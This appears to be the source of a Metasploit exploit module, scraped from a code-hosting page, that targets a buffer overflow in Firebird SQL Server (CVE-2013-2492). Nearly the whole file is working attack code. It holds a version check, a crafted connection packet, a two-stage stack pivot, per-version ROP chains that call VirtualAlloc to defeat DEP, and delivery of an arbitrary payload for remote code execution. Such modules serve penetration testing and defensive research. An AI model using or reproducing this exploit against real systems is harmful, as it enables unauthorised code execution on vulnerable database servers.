Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/fb_cnct_group.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::Tcp89def initialize10super(11'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow',12'Description' => %q{13This module exploits a vulnerability in Firebird SQL Server. A specially14crafted packet can be sent which will overwrite a pointer allowing the attacker to15control where data is read from. Shortly, following the controlled read, the16pointer is called resulting in code execution.1718The vulnerability exists with a group number extracted from the CNCT information,19which is sent by the client, and whose size is not properly checked.2021This module uses an existing call to memcpy, just prior to the vulnerable code,22which allows a small amount of data to be written to the stack. A two-phases23stack pivot allows to execute the ROP chain which ultimately is used to execute24VirtualAlloc and bypass DEP.25},26'Author' => 'Spencer McIntyre',27'Arch' => ARCH_X86,28'Platform' => 'win',29'References' =>30[31[ 'CVE', '2013-2492' ],32[ 'OSVDB', '91044' ]33],34'DefaultOptions' =>35{36'EXITFUNC' => 'seh'37},38'Payload' =>39{40# Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax]41'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20",42'Space' => 400,43'BadChars' => "\x00\x0a\x0d"44},45'Targets' =>46[47# pivots are pointers to stack pivots of size 0x2848[ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ],49[ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ],50[ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ],51[ 'Windows FB 2.1.4.18393', { 'pivot' => 0x4adf4ed5, 'rop_nop' => 0x00423b82, 'rop_pop' => 0x4a843429 } ],52[ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ]53],54'DefaultTarget' => 0,55'Privileged' => true,56'DisclosureDate' => 'Jan 31 2013',57'Notes' =>58{59'Stability' => [ CRASH_SERVICE_RESTARTS ],60},61)6263register_options([Opt::RPORT(3050)])64end6566def check67begin68connect69rescue70vprint_error("Unable to get a connection")71return Exploit::CheckCode::Unknown72end7374filename = "C:\\#{rand_text_alpha(12)}.fdb"75username = rand_text_alpha(7)7677check_data = ""78check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"79check_data << "\x00\x00\x00\x13"80check_data << filename81check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24"82check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c"83check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"84check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"85check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"86check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"87check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"88check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"89check_data << "\x00\x00\x00\x08"9091sock.put(check_data)92data = sock.recv(16)93disconnect9495opcode = data.unpack("N*")[0]96if opcode == 3 # Accept97return Exploit::CheckCode::Detected98end99100return Exploit::CheckCode::Safe101end102103def stack_pivot_rop_chain104case target.name105when 'Windows FB 2.5.2.26539'106rop_chain = [1070x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe]1080x0059ffeb, # POP EBP # RETN [fbserver.exe]1090x0000153c, # 0x0000153c-> ebp1100x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]1110x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]112].pack("V*")113when 'Windows FB 2.5.1.26351'114rop_chain = [1150x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe]1160x0059650b, # POP EBP # RETN [fbserver.exe]1170x0000153c, # 0x0000153c-> ebp1180x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe]1190x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe]120].pack("V*")121when 'Windows FB 2.1.5.18496'122rop_chain = [1230x0055b844, # MOV EAX,EDI # RETN [fbserver.exe]1240x4a86ee77, # POP ECX # RETN [icuuc30.dll]1250x000001c0, # 0x000001c0-> ecx1260x005aee63, # ADD EAX,ECX # RETN [fbserver.exe]1270x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll]128].pack("V*")129when 'Windows FB 2.1.4.18393'130rop_chain = [1310x0042264c, # MOV EAX,EDI # RETN [fbserver.exe]1320x4a8026e1, # POP ECX # RETN [icuuc30.dll]1330x000001c0, # 0x000001c0-> ecx1340x004c5499, # ADD EAX,ECX # RETN [fbserver.exe]1350x4a847664, # XCHG EAX,ESP # RETN [icuuc30.dll]136].pack("V*")137when 'Debug'138rop_chain = [ ].fill(0x41414141, 0..5).pack("V*")139end140return rop_chain141end142143def final_rop_chain144# all rop chains in here created with mona.py, thanks corelan!145case target.name146when 'Windows FB 2.5.2.26539'147rop_chain = [1480x4a831344, # POP ECX # RETN [icuuc30.dll]1490x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]1500x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]1510x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe]1520x00431905, # POP EBP # RETN [fbserver.exe]1530x00401932, # & push esp # ret [fbserver.exe]1540x4a844ac0, # POP EBX # RETN [icuuc30.dll]1550x00001000, # 0x00001000-> ebx1560x4a85bfee, # POP EDX # RETN [icuuc30.dll]1570x00001000, # 0x00001000-> edx1580x005dae9e, # POP ECX # RETN [fbserver.exe]1590x00000040, # 0x00000040-> ecx1600x0057a822, # POP EDI # RETN [fbserver.exe]1610x005b0384, # RETN (ROP NOP) [fbserver.exe]1620x0046f8c3, # POP EAX # RETN [fbserver.exe]1630x90909090, # nop1640x00586002, # PUSHAD # RETN [fbserver.exe]165].pack("V*")166when 'Windows FB 2.5.1.26351'167rop_chain = [1680x00656472, # POP ECX # RETN [fbserver.exe]1690x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]1700x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]1710x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]1720x0041d1ae, # POP EBP # RETN [fbserver.exe]1730x0040917f, # & call esp [fbserver.exe]1740x4a8589c0, # POP EBX # RETN [icuuc30.dll]1750x00001000, # 0x00001000-> ebx1760x4a864cc3, # POP EDX # RETN [icuuc30.dll]1770x00001000, # 0x00001000-> edx1780x0064ef59, # POP ECX # RETN [fbserver.exe]1790x00000040, # 0x00000040-> ecx1800x005979fa, # POP EDI # RETN [fbserver.exe]1810x00424a50, # RETN (ROP NOP) [fbserver.exe]1820x4a86052d, # POP EAX # RETN [icuuc30.dll]1830x90909090, # nop1840x005835f2, # PUSHAD # RETN [fbserver.exe]185].pack("V*")186when 'Windows FB 2.1.5.18496'187rop_chain = [1880x005763d5, # POP EAX # RETN [fbserver.exe]1890x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]1900x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]1910x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]1920x004e695a, # POP EBP # RETN [fbserver.exe]1930x004d9e6d, # & jmp esp [fbserver.exe]1940x4a828650, # POP EBX # RETN [icuuc30.dll]1950x00001000, # 0x00001000-> ebx1960x4a85bfee, # POP EDX # RETN [icuuc30.dll]1970x00001000, # 0x00001000-> edx1980x00590328, # POP ECX # RETN [fbserver.exe]1990x00000040, # 0x00000040-> ecx2000x4a8573a1, # POP EDI # RETN [icuuc30.dll]2010x0042ba8c, # RETN (ROP NOP) [fbserver.exe]2020x00577605, # POP EAX # RETN [fbserver.exe]2030x90909090, # nop2040x004530ce, # PUSHAD # RETN [fbserver.exe]205].pack("V*")206when 'Windows FB 2.1.4.18393'207rop_chain = [2080x4a843429, # POP ECX # RETN [icuuc30.dll]2090x005ca120, # ptr to &VirtualAlloc() [IAT fbserver.exe]2100x0055a870, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]2110x004cecf6, # XCHG EAX,ESI # RETN [fbserver.exe]2120x004279c0, # POP EBP # RETN [fbserver.exe]2130x0040747d, # & call esp [fbserver.exe]2140x004ebef1, # POP EBX # RETN [fbserver.exe]2150x00001000, # 0x00001000-> ebx2160x4a864c5e, # POP EDX # RETN [icuuc30.dll]2170x00001000, # 0x00001000-> edx2180x004eaa3b, # POP ECX # RETN [fbserver.exe]2190x00000040, # 0x00000040-> ecx2200x4a8330a2, # POP EDI # RETN [icuuc30.dll]2210x00423b82, # RETN (ROP NOP) [fbserver.exe]2220x0046b5b1, # POP EAX # RETN [fbserver.exe]2230x90909090, # nop2240x004c8cfc, # PUSHAD # RETN [fbserver.exe]225].pack("V*")226when 'Debug'227rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")228end229return rop_chain230end231232def exploit233connect234235rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")236237# this data gets written to the stack via memcpy, no more than 32 bytes can be written238overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot239overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]240overwrite_and_rop_chain << stack_pivot_rop_chain241242filename = "C:\\#{rand_text_alpha(13)}.fdb"243evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"244evil_data << "\x00\x00\x00\x14"245evil_data << filename246evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"247evil_data << "\x05\x20"248evil_data << overwrite_and_rop_chain249evil_data << "\x15\x6c\x6f\x63\x61\x6c"250evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"251evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"252evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"253evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"254evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"255evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"256evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"257evil_data << rop_nop_sled258evil_data << final_rop_chain259evil_data << payload.encoded260261print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")262sock.put(evil_data)263264disconnect265end266end267268269